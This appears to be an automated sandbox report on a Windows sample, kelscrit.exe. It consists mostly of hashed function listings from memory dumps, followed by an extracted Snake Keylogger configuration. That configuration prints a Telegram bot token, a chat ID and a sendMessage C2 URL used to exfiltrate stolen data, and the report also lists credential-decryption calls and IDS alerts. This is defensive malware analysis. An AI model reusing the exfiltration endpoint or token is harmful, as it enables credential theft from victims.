Instruction ID: af8e1a05d7d6bf4d28655ecb27f0b6c589dddbb7560cf19967641ac7f5444b30
Opcode Fuzzy Hash: 3914b01a7de2788124a4aeed27f4ad83a224898f0f68e266da2edd5c25c63dd4
Instruction Fuzzy Hash: 3D312575E012489FDB48CFAAC9506DDBBF2AF8A301F24D42AD808BB355EB355902CF50

Function 3AAFD401 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03e5354be68e8763fcc1ae0a923f4bbd1209d71f7bbda72027abe24246f3901c
Instruction ID: 703d5266295df498a26b57860fd5b119b13a129d2b637553d949e0c122d44c9b
Opcode Fuzzy Hash: 03e5354be68e8763fcc1ae0a923f4bbd1209d71f7bbda72027abe24246f3901c
Instruction Fuzzy Hash: 3831F475E012088BDB49CFAAD9506DDFBF2AF89304F24D52AD818BB354EB355906CF50

Function 3AB08461 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947496356.000000003AB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab00000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b69619f2dd2a5a986273b7d84af789a3535f930d4fbb8fd2a1a67e196ba9add5
Instruction ID: 40ef6e00d281e7118e6572204f60c233ef31ec07f435d889c358ca6eb9912ccf
Opcode Fuzzy Hash: b69619f2dd2a5a986273b7d84af789a3535f930d4fbb8fd2a1a67e196ba9add5
Instruction Fuzzy Hash: 1231E0B4E012488FDB49CFEAD9506DDFBB2AF89300F14D06AD418BB265EB345946CF54

Function 3AAF70AF Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee8eb5168a03df754e824c5bc02273be38a26f7c4d37e8e8fd48ab01dbe6aa5d
Instruction ID: 596377dae87db47fb3ced733f1726c05c348c126e681c9d41605fd9d71047eda
Opcode Fuzzy Hash: ee8eb5168a03df754e824c5bc02273be38a26f7c4d37e8e8fd48ab01dbe6aa5d
Instruction Fuzzy Hash: 82310475E042088BEB48CFAAD8406DDBBF2BF8A300F50D16AD818BB355EB355946CF50

Function 3AB021A7 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947496356.000000003AB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab00000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48010593aab10123d2852607621ab1ce2d531a5330ab61d18dfec55eb7a38b8a
Instruction ID: e11df6aa8946539d22a0b474251cb164da19e5f9629cc3e30cd3ba16a08754db
Opcode Fuzzy Hash: 48010593aab10123d2852607621ab1ce2d531a5330ab61d18dfec55eb7a38b8a
Instruction Fuzzy Hash: 1E31F374E012488FDB08CFEAC9506DDBBF2AF8A300F64C06AD458BB255EB345946CF50

Function 00158380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc025b2c5500d89fd1896fc88f2e01cbb750999f5bf5eff0522b00106fa2e6d8
Instruction ID: 4e8920bccca7f4c7df5cdb92eac23557206107107d1b876f99a3b91154e83eff
Opcode Fuzzy Hash: cc025b2c5500d89fd1896fc88f2e01cbb750999f5bf5eff0522b00106fa2e6d8
Instruction Fuzzy Hash: 8121AF30304212CBDB18666A885473F668BAFC474AF148039EC26EF7A9EF75CC46D791

Function 3AB43E98 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef5c111e3cc792a7149e0925e548747231c7316141228bba171059af9853e8f4
Instruction ID: 32c2e139fd8a3f43b4631e6d6dbd123afdbeef1f5350e789b509a12cbde08ce8
Opcode Fuzzy Hash: ef5c111e3cc792a7149e0925e548747231c7316141228bba171059af9853e8f4
Instruction Fuzzy Hash: 781169A2266E07CFE2142B70DDAC62F3A76FB47343F502D16A216B25B54F3849048D26

Function 001528F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bcfe836417fe45d8b6d03528618b80976c7e517aa6c19121c67197942509aaa
Instruction ID: 96368206588224586883afea78bda1127f142a0c0774151b3968131ccbdb3023
Opcode Fuzzy Hash: 4bcfe836417fe45d8b6d03528618b80976c7e517aa6c19121c67197942509aaa
Instruction Fuzzy Hash: 4721A176A00116AFCF19CB74C4409AE77A5EB9E364F158519EC1ADB344DB30EE4ACBD0

Function 0009D468 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917776572.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7efd9f6744cbace88b25f1e0189c42f955cea7cd40abd82c841da64f2574b6f1
Instruction ID: 588671cfd3eaf50078076729c63b19cc3a8aab6ca5fb2dc0f747b8ea0d16a261
Opcode Fuzzy Hash: 7efd9f6744cbace88b25f1e0189c42f955cea7cd40abd82c841da64f2574b6f1
Instruction Fuzzy Hash: DA212871544200DFDF15DF14D9C0B1ABFA5FB98314F24C56AE9090B256C336D856E7A2

Function 00156300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 210b4a556d722e5414d4210f525950c1ac98fb8cf9c6e12afeefce4fe7e33fab
Instruction ID: e0b301e1072de40200637363242a1f24ee2cd368ff6b14b24b5206cb01032286
Opcode Fuzzy Hash: 210b4a556d722e5414d4210f525950c1ac98fb8cf9c6e12afeefce4fe7e33fab
Instruction Fuzzy Hash: 2321D135300511CFCB199B2AC89492EB7A2FF897567554038E82ADB7A4CF30DC068BD0

Function 0015AEF0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c64596669386e2958c81172d1c2a4768fe0ca2a9ffb7494871463cfda90302ab
Instruction ID: ed63f0c4a8706755db1ba15284bcb20e7870d5d6696171040178c7fe0fde30fa
Opcode Fuzzy Hash: c64596669386e2958c81172d1c2a4768fe0ca2a9ffb7494871463cfda90302ab
Instruction Fuzzy Hash: A0219071A00204DBCB148F68D884AEEBBB6FF8C711F14416AE915AB260DB319D49CBA0

Function 00154285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f98c9dc7c8d19271661009bef11be3bb824e972944283eee63aa8c4254b89734
Instruction ID: 104ea28f2f021daa28bf8f939be1b6c78ab8a2f19440614c0cfe94492995db77
Opcode Fuzzy Hash: f98c9dc7c8d19271661009bef11be3bb824e972944283eee63aa8c4254b89734
Instruction Fuzzy Hash: 05319578E11218DFCB49DFA9D58489DBBF2FF49315B209469E81AAB320D731AD45CF40

Function 3AAFEBE2 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f2a3f758959061ce2f5e6b70e31ec2a1c23ecb9381698875c5fd96da3a721f9
Instruction ID: e331915d09429713b597b9bc4abe040a6a97f65c34faae65757fff1cf65443c6
Opcode Fuzzy Hash: 8f2a3f758959061ce2f5e6b70e31ec2a1c23ecb9381698875c5fd96da3a721f9
Instruction Fuzzy Hash: AD119DB6A002159FDB65DB78DC049CD7BF1AF48341B1045A6FC46EB360EB32C9028B91

Function 00159761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28c3d0299466597beca217a7fb6bc07b88e0928e2c99ab9c406c4771f3188658
Instruction ID: f6ef92c60d590981c38c747f2f94e8e23d0712ed0256cb1244fcdde1b04b081a
Opcode Fuzzy Hash: 28c3d0299466597beca217a7fb6bc07b88e0928e2c99ab9c406c4771f3188658
Instruction Fuzzy Hash: 6C212B70E01248EFCB05CFA5D590AEDBFB6AF49315F148055E825BA290DB34DA45DF60

Function 0015F640 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 312b88cee124e710ab18ad918cc47e294f764207d621fd65ba1b907f623e2c1a
Instruction ID: b5c6be4ab76d04b734ed96de739748df989dae9cf60e0d7864d763cfd1e7240b
Opcode Fuzzy Hash: 312b88cee124e710ab18ad918cc47e294f764207d621fd65ba1b907f623e2c1a
Instruction Fuzzy Hash: 4F218EB4D042499FDB05EFBAC54069EBFF2FF85304F0085AAD054AB262EB705A068F81

Function 001527F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77a0a5971d9e97a1b0febe097d185e9222a7bee8df4a18f68315a8dc8690417f
Instruction ID: e513e4a1bf5c25f202de190cf08e9c09d405992287f75dffcbafbfc055c3450f
Opcode Fuzzy Hash: 77a0a5971d9e97a1b0febe097d185e9222a7bee8df4a18f68315a8dc8690417f
Instruction Fuzzy Hash: 3A21BD75D0520A8FCB45EFA9D8445EEBBF4BF4A300F14526AD805B7220EB355A89CBA1

Function 0009D463 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917776572.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2f2c70b6b3e0dfc63f0f7de14868e99c1fcfe725c0861bc2e5fbfffed8da1bc
Instruction ID: 42a979e6427d03966234b7e5cfe98634db3beba4aed581206999cdbb5311f710
Opcode Fuzzy Hash: e2f2c70b6b3e0dfc63f0f7de14868e99c1fcfe725c0861bc2e5fbfffed8da1bc
Instruction Fuzzy Hash: 82112672544680CFCF12CF10D5C0B16BFB1FB94314F24C6AAD9090B216C33AD85ADBA2

Function 0015F650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58c2ca0e0a6b3ca616b13ac8ad417bb1604015e9b2a82dedc1878658959544f4
Instruction ID: 95d0102bc51d4e011c6f68f470b93a372530876975e407f59ef41713646bdb2f
Opcode Fuzzy Hash: 58c2ca0e0a6b3ca616b13ac8ad417bb1604015e9b2a82dedc1878658959544f4
Instruction Fuzzy Hash: A5110AB0E0014A9FDB45EFBAC94069EBBF2FB85304F10C569D115AB261EB745A468F81

Function 00155E98 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88f0123f15fda6be97af035d2a1b12622c563837e19041f2ad479713201ffa19
Instruction ID: d67d5e6d0c5dbe9be2a8fd8f34644ebe21ebbea108b572c622c0dfe4b137a797
Opcode Fuzzy Hash: 88f0123f15fda6be97af035d2a1b12622c563837e19041f2ad479713201ffa19
Instruction Fuzzy Hash: 1F019C31704204AFCB059EA49C616EF3BA7DBC8340F148026FD21DB280CF318E069B91

Function 0015E8E8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1fec7cc05dd57746a6e085195c944ec34e19b43359af1833579c103489115b7
Instruction ID: 938c56ec654582e00ef9b1c776668e611b25900aa8759bb6137cf462bd5d26f8
Opcode Fuzzy Hash: e1fec7cc05dd57746a6e085195c944ec34e19b43359af1833579c103489115b7
Instruction Fuzzy Hash: 09115774E0420AAFCB01CFE4C8459AEFBB1FB8A300F108566E910A3350E7746A16CF91

Function 3AB45827 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79f92af66d8acd77c13109596c51ebe1693f45db8993b6dfa954b2e031ae2c12
Instruction ID: 8e3a240f4096771437109f67f858e340b004ca5257cbe1cbd1b6780744ca48fd
Opcode Fuzzy Hash: 79f92af66d8acd77c13109596c51ebe1693f45db8993b6dfa954b2e031ae2c12
Instruction Fuzzy Hash: D5110678900258CFDB11DFA5C944A9CBBB1FF49311F1081E9D448AB311DB319D82DF00

Function 0015ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0da6c2614ab145970286172aeec39dacb10d33d001f7223017e6e541e0d6f545
Instruction ID: 00b57107dd5ccd4d7a2cf84e8565cf51e065adf1789700007ff54fc95518917b
Opcode Fuzzy Hash: 0da6c2614ab145970286172aeec39dacb10d33d001f7223017e6e541e0d6f545
Instruction Fuzzy Hash: 4DF0B131340610CB87155A2EE85462A77DEEFC8B56395417AED19CF371DF21CC478791

Function 3AAFEB58 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebc9deb6121579982c952935070014474268bd9917130846ee9aadbf03225a16
Instruction ID: 026c7eec0ac22c499dc2cbee0bbc5b80c42c1697c8d1bad88a16cea965d5d972
Opcode Fuzzy Hash: ebc9deb6121579982c952935070014474268bd9917130846ee9aadbf03225a16
Instruction Fuzzy Hash: DE01E871E002199BCF54DFB989006DEB7F5AF48200F408566E919E7250EB3599018B91

Function 3AAFE692 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4276c5f20e00d56c9152ed24d8c4a88b84cb81b5b311a4aa0f2f80ed209c643e
Instruction ID: 3a441811f3183ceba7f1cfb1cda9b82d4d70a1ec8a4c0b0b5612b77184d5c178
Opcode Fuzzy Hash: 4276c5f20e00d56c9152ed24d8c4a88b84cb81b5b311a4aa0f2f80ed209c643e
Instruction Fuzzy Hash: 25F0BE363042148FD7489B2ADC14956BBEAAF86754B1544EAF809CF3B2DE62EC05CBD4

Function 3AAFE6A0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e30d3741191d80693adbbbe6e4dadf4d5c8b576376a2cee210831be5c510f7e
Instruction ID: 2dd94f7cf77806e2516229eb90940a2f9fbae1445a7edcd1d42221e596c66cc5
Opcode Fuzzy Hash: 8e30d3741191d80693adbbbe6e4dadf4d5c8b576376a2cee210831be5c510f7e
Instruction Fuzzy Hash: CFF08C363002148FE75C9B3ADC5896AB7EAEFC4B51B0584A9F906CB7A0DE71DC01C790

Function 3AB45522 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a005bae8e77459894b1441f99bf50b8827e5953969fac3452a7bd133819a072a
Instruction ID: cb644871884e6cffcf9aa13a35ad1db3e330e997636782da72584afc33a826cb
Opcode Fuzzy Hash: a005bae8e77459894b1441f99bf50b8827e5953969fac3452a7bd133819a072a
Instruction Fuzzy Hash: E3F05E74D18348AFCB02DFA9D44169DBFB5AF86300F5481E6D854A7212E7305A05DF51

Function 3AB4557A Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e04aeabdb395d7f32aee7c9945f875b76851df41f5ff96d38824cefcf51d787
Instruction ID: 0871e8587ebca59ad0bde32f0a55be1e5bd83f8330dd6ced8d2ceb20ba288e79
Opcode Fuzzy Hash: 8e04aeabdb395d7f32aee7c9945f875b76851df41f5ff96d38824cefcf51d787
Instruction Fuzzy Hash: E5F01274D09288EFCB12DFA9D4406DDBFB1AF46340F2082AAD818AB256E6314A19DB01

Function 3AB454C8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dd2792c34dc71d6b1af28d0e2172947418cfc6ab2b74a1180670ebb5dd13bc9
Instruction ID: ad6a1bc9f632c67a03aad06d7470402a6b0627c208891d9d58e48292af6603ce
Opcode Fuzzy Hash: 8dd2792c34dc71d6b1af28d0e2172947418cfc6ab2b74a1180670ebb5dd13bc9
Instruction Fuzzy Hash: BBF0FE74D45648EFCB01DFE9D8515DCBFB1AB4A300F40D1A6D818A7355EB344A46DB41

Function 3AB45530 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8bb58b7a089e04bca11839f762e4ae16b806e40a754f328917e3ed3405aa70a
Instruction ID: f8b0a162b277beebc3796af3fe914126981299a3a3f249d948c4c2163103824c
Opcode Fuzzy Hash: c8bb58b7a089e04bca11839f762e4ae16b806e40a754f328917e3ed3405aa70a
Instruction Fuzzy Hash: C9E0ED74D14608EFCB40DFA9D44169DBBB5EB85300F5081AAD818A3310EB345A45DF41

Function 3AB45588 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faf1595a4e2100199d1033ef176d67fc32321d2b45421b975f95bc738b73628b
Instruction ID: 4c620947bd295b515e40d8999e1677e86b582e5b08ee78cd3a6cea1fb2e07949
Opcode Fuzzy Hash: faf1595a4e2100199d1033ef176d67fc32321d2b45421b975f95bc738b73628b
Instruction Fuzzy Hash: A8E0ED74D04608EFCB40DFA9D54169DBBF5EB45300F5081AA9818A7350EB345E45DF41

Function 3AB454D8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 573d4c7c9aa29414c9dbd26c3f8bb164fea9e88e897617ca381272851ec7244d
Instruction ID: 6b8c2c6f18a1e2001dfe7c9a2434b84f7621b79903fad8d2a0f2e84e50bb12c2
Opcode Fuzzy Hash: 573d4c7c9aa29414c9dbd26c3f8bb164fea9e88e897617ca381272851ec7244d
Instruction Fuzzy Hash: CBE0E578E04208EFCB44DFA9D44169DBBF5EB89300F50D1AA9818A7310EB349A45DF81

Function 001528B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd65091c0cb13c507f5ba90c119b9df3dedb5c20e49959aca2468149ebbd7565
Instruction ID: 77248a1c9d9afddec347eacc9eb5ecce2baff67bbb9f416329380705e5750edc
Opcode Fuzzy Hash: fd65091c0cb13c507f5ba90c119b9df3dedb5c20e49959aca2468149ebbd7565
Instruction Fuzzy Hash: 35D01231D2022A56CB15A6A5DC444EEB738EE95262B504666D51437140EB70265D86A1

Function 001528AB Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03773a5205fadcffbb06d805e9ab933ae1a434f8b3d1fb87e293703465edc056
Instruction ID: 60f8d234217b4a577560acbe771706557598eb8bb4884338dd9f483d2408b3ab
Opcode Fuzzy Hash: 03773a5205fadcffbb06d805e9ab933ae1a434f8b3d1fb87e293703465edc056
Instruction Fuzzy Hash: D2D01235E6062A86CB15EBA1AC540EDB334AE95222B548666D53836150EB30165D86A1

Function 0015D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad1de5901c950e296e47e2d490478b45459e6854964eb9c13e2305a7aba25b3e
Instruction ID: 5d424f7eb01d9520332dec4e2b74a269ce6e2329a0c06abf51310fcc3d9112ab
Opcode Fuzzy Hash: ad1de5901c950e296e47e2d490478b45459e6854964eb9c13e2305a7aba25b3e
Instruction Fuzzy Hash: 88D0E234E00009CBCB20DFA8E8844DCBBB0EF48322B20502BD925A3610D73019558F01

Function 0015AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe5e1eecb40fa0be1aaf6037a869093e5a74c1852aefb08375e7f1b834199d65
Instruction ID: 5591b7b98e0fe995f30dea8e1229a9b3ee140747c4c87564e3a5802375e50d5a
Opcode Fuzzy Hash: fe5e1eecb40fa0be1aaf6037a869093e5a74c1852aefb08375e7f1b834199d65
Instruction Fuzzy Hash: FAD0677AB40018AFCF049F98EC808DDF776FB98221B048116F915A3265C6319965DB50

Function 00156748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3dcb1f228c6caf47a947b32bee7a7a9a2fc225e080bd18d2d789c660315c3a9
Instruction ID: cbc4608f78b217b94cdeb3e3ce717d39e625d7e1122f0445358631873147946d
Opcode Fuzzy Hash: a3dcb1f228c6caf47a947b32bee7a7a9a2fc225e080bd18d2d789c660315c3a9
Instruction Fuzzy Hash: 99C012320443094ACA07EBB7DC45955372BA7843087408920B0060A56AEEB469DA4B91

Source: 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM", "Chat_id": "6361450335", "Version": "4.4"}
Source: kelscrit.exe.5756.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6358867316:AAGYz8F7DpACV8KuAbFAee27mS5P18ckXUM/sendMessage"}

Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AA587A8 CryptUnprotectData,		4_2_3AA587A8
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AA58EF1 CryptUnprotectData,		4_2_3AA58EF1

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49797 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49780 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49758 -> 172.217.19.238:443
